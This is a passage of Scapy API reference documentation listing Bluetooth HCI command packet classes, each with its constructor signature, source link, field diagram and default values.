class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Advertising_Parameters(_pkt, /, *, interval_min=2048, interval_max=2048, adv_type=0, oatype=0, datype=0, daddr=None, channel_map=7, filter_policy=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1655-L1664]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          INTERVAL MIN         |          INTERVAL MAX         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ADV TYPE   |     OATYPE    |     DATYPE    |     DADDR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  CHANNEL MAP  | FILTER POLICY |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. HCI_Cmd_LE_Set_Advertising_Parameters            


HCI_Cmd_LE_Set_Advertising_Parameters fields






	interval_min

	LEShortField

	2048



	interval_max

	LEShortField

	2048



	adv_type

	ByteEnumField

	0



	oatype

	ByteEnumField

	0



	datype

	ByteEnumField

	0



	daddr

	LEMACField

	None



	channel_map

	ByteField

	7



	filter_policy

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Random_Address(_pkt, /, *, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1650-L1652]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADDRESS                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_LE_Set_Random_Address                


HCI_Cmd_LE_Set_Random_Address fields






	address

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Scan_Enable(_pkt, /, *, enable=1, filter_dups=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1699-L1702]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ENABLE    |  FILTER DUPS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. HCI_Cmd_LE_Set_Scan_Enable                  


HCI_Cmd_LE_Set_Scan_Enable fields






	enable

	ByteField

	1



	filter_dups

	ByteField

	1















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Scan_Parameters(_pkt, /, *, type=0, interval=16, window=16, atype=0, policy=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1687-L1696]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |            INTERVAL           |     WINDOW    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     ATYPE     |     POLICY    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_LE_Set_Scan_Parameters                


HCI_Cmd_LE_Set_Scan_Parameters fields






	type

	ByteEnumField

	0



	interval

	XLEShortField

	16



	window

	XLEShortField

	16



	atype

	ByteEnumField

	0



	policy

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Scan_Response_Data(_pkt, /, *, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1676-L1679]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Cmd_LE_Set_Scan_Response_Data              


HCI_Cmd_LE_Set_Scan_Response_Data fields






	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.bluetooth.HCI_Cmd_Link_Key_Request_Negative_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1321-L1329]

	Bases: Packet

7.1.11 Link Key Request Negative Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_Link_Key_Request_Negative_Reply           


HCI_Cmd_Link_Key_Request_Negative_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Link_Key_Request_Reply(_pkt, /, *, bd_addr=None, link_key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1309-L1318]

	Bases: Packet

7.1.10 Link Key Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            LINK KEY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_Link_Key_Request_Reply                


HCI_Cmd_Link_Key_Request_Reply fields






	bd_addr

	LEMACField

	None



	link_key

	NBytesField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Link_Key_Selection(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1401-L1410]

	Bases: Packet

7.1.18 Change Connection Link Key command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HANDLE    |
+-+-+-+-+-+-+-+-+

                 Fig. HCI_Cmd_Link_Key_Selection                  


HCI_Cmd_Link_Key_Selection fields






	handle

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_PIN_Code_Request_Negative_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1345-L1353]

	Bases: Packet

7.1.13 PIN Code Request Negative Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_PIN_Code_Request_Negative_Reply           


HCI_Cmd_PIN_Code_Request_Negative_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_PIN_Code_Request_Reply(_pkt, /, *, bd_addr=None, pin_code_length=7, pin_code=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1332-L1342]

	Bases: Packet

7.1.12 PIN Code Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |PIN CODE LENGTH|    PIN CODE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_PIN_Code_Request_Reply                


HCI_Cmd_PIN_Code_Request_Reply fields






	bd_addr

	LEMACField

	None



	pin_code_length

	ByteField

	7



	pin_code

	NBytesField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.HCI_Cmd_Periodic_Inquiry_Mode(_pkt, /, *, max_period_length=3, min_period_length=2, lap=10390323, inquiry_length=0, num_responses=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1222-L1234]

	Bases: Packet

7.1.3 Periodic Inquiry Mode command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       MAX PERIOD LENGTH       |       MIN PERIOD LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LAP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| INQUIRY LENGTH| NUM RESPONSES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_Periodic_Inquiry_Mode                


HCI_Cmd_Periodic_Inquiry_Mode fields






	max_period_length

	LEShortField

	3



	min_period_length

	LEShortField

	2



	lap

	XLE3BytesField

	10390323



	inquiry_length

	ByteField

	0



	num_responses

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Read_BD_Addr(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1608-L1609]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_Read_LE_Host_Support(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1597-L1598]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_Read_Link_Quality(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1614-L1616]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. HCI_Cmd_Read_Link_Quality                  


HCI_Cmd_Read_Link_Quality fields






	handle

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Read_Loopback_Mode(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1625-L1626]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_Read_RSSI(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1619-L1621]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. HCI_Cmd_Read_RSSI                      


HCI_Cmd_Read_RSSI fields






	handle

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Read_Remote_Extended_Features(_pkt, /, *, connection_handle=None, page_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1449-L1458]

	Bases: Packet

7.1.22 Read Remote Extended Features command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CONNECTION HANDLE       |  PAGE NUMBER  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. HCI_Cmd_Read_Remote_Extended_Features            


HCI_Cmd_Read_Remote_Extended_Features fields






	connection_handle

	LEShortField

	None



	page_number

	ByteField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Read_Remote_Supported_Features(_pkt, /, *, connection_handle=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1438-L1446]

	Bases: Packet

7.1.21 Read Remote Supported Features command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CONNECTION HANDLE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_Read_Remote_Supported_Features            


HCI_Cmd_Read_Remote_Supported_Features fields






	connection_handle

	LEShortField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Reject_Connection_Response(_pkt, /, *, bd_addr=None, reason=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1298-L1306]

	Bases: Packet

7.1.9 Reject Connection Request command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     REASON    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. HCI_Cmd_Reject_Connection_Response              


HCI_Cmd_Reject_Connection_Response fields






	bd_addr

	LEMACField

	None



	reason

	ByteField

	1















	
class scapy.layers.bluetooth.HCI_Cmd_Remote_Name_Request(_pkt, /, *, bd_addr=None, page_scan_repetition_mode=2, reserved=0, clock_offset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1413-L1424]

	Bases: Packet

7.1.19 Remote Name Request command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |PAGE SCAN REPET|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CLOCK OFFSET         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. HCI_Cmd_Remote_Name_Request                 


HCI_Cmd_Remote_Name_Request fields






	bd_addr

	LEMACField

	None



	page_scan_repetition_mode

	ByteField

	2



	reserved

	ByteField

	0



	clock_offset

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Remote_Name_Request_Cancel(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1427-L1435]

	Bases: Packet

7.1.20 Remote Name Request Cancel command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. HCI_Cmd_Remote_Name_Request_Cancel              


HCI_Cmd_Remote_Name_Request_Cancel fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1545-L1553]

	Bases: Packet

7.1.35 Remote OOB Data Request Negative Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply        


HCI_Cmd_Remote_OOB_Data_Request_Negative_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Remote_OOB_Data_Request_Reply(_pkt, /, *, bd_addr=None, C=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', R=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1532-L1542]

	Bases: Packet

7.1.34 Remote OOB Data Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |               C               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |               R               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. HCI_Cmd_Remote_OOB_Data_Request_Reply            


HCI_Cmd_Remote_OOB_Data_Request_Reply fields






	bd_addr

	LEMACField

	None



	C

	NBytesField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	R

	NBytesField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.HCI_Cmd_Reset(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1572-L1573]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_Set_Connection_Encryption(_pkt, /, *, handle=0, encryption_enable=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1379-L1387]

	Bases: Packet

7.1.16 Set Connection Encryption command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |ENCRYPTION ENAB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Cmd_Set_Connection_Encryption              


HCI_Cmd_Set_Connection_Encryption fields






	handle

	LEShortField

	0



	encryption_enable

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Set_Event_Filter(_pkt, /, *, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1576-L1578]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                  Fig. HCI_Cmd_Set_Event_Filter                   


HCI_Cmd_Set_Event_Filter fields






	type

	ByteEnumField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Set_Event_Mask(_pkt, /, *, mask=b'\xff\xff\xfb\xff\x07\xf8\xbf=')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1567-L1569]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. HCI_Cmd_Set_Event_Mask                    


HCI_Cmd_Set_Event_Mask fields






	mask

	StrFixedLenField

	b'\xff\xff\xfb\xff\x07\xf8\xbf='















	
class scapy.layers.bluetooth.HCI_Cmd_User_Confirmation_Request_Negative_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1498-L1506]

	Bases: Packet

7.1.31 User Confirmation Request Negative Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

      Fig. HCI_Cmd_User_Confirmation_Request_Negative_Reply       


HCI_Cmd_User_Confirmation_Request_Negative_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_User_Confirmation_Request_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1487-L1495]

	Bases: Packet

7.1.30 User Confirmation Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_User_Confirmation_Request_Reply           


HCI_Cmd_User_Confirmation_Request_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_User_Passkey_Request_Negative_Reply(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1521-L1529]

	Bases: Packet

7.1.33 User Passkey Request Negative Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. HCI_Cmd_User_Passkey_Request_Negative_Reply         


HCI_Cmd_User_Passkey_Request_Negative_Reply fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_User_Passkey_Request_Reply(_pkt, /, *, bd_addr=None, numeric_value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1509-L1518]

	Bases: Packet

7.1.32 User Passkey Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         NUMERIC VALUE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. HCI_Cmd_User_Passkey_Request_Reply              


HCI_Cmd_User_Passkey_Request_Reply fields






	bd_addr

	LEMACField

	None



	numeric_value

	LEIntField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Write_Connect_Accept_Timeout(_pkt, /, *, timeout=32000)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1586-L1588]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. HCI_Cmd_Write_Connect_Accept_Timeout             


HCI_Cmd_Write_Connect_Accept_Timeout fields






	timeout

	LEShortField

	32000















	
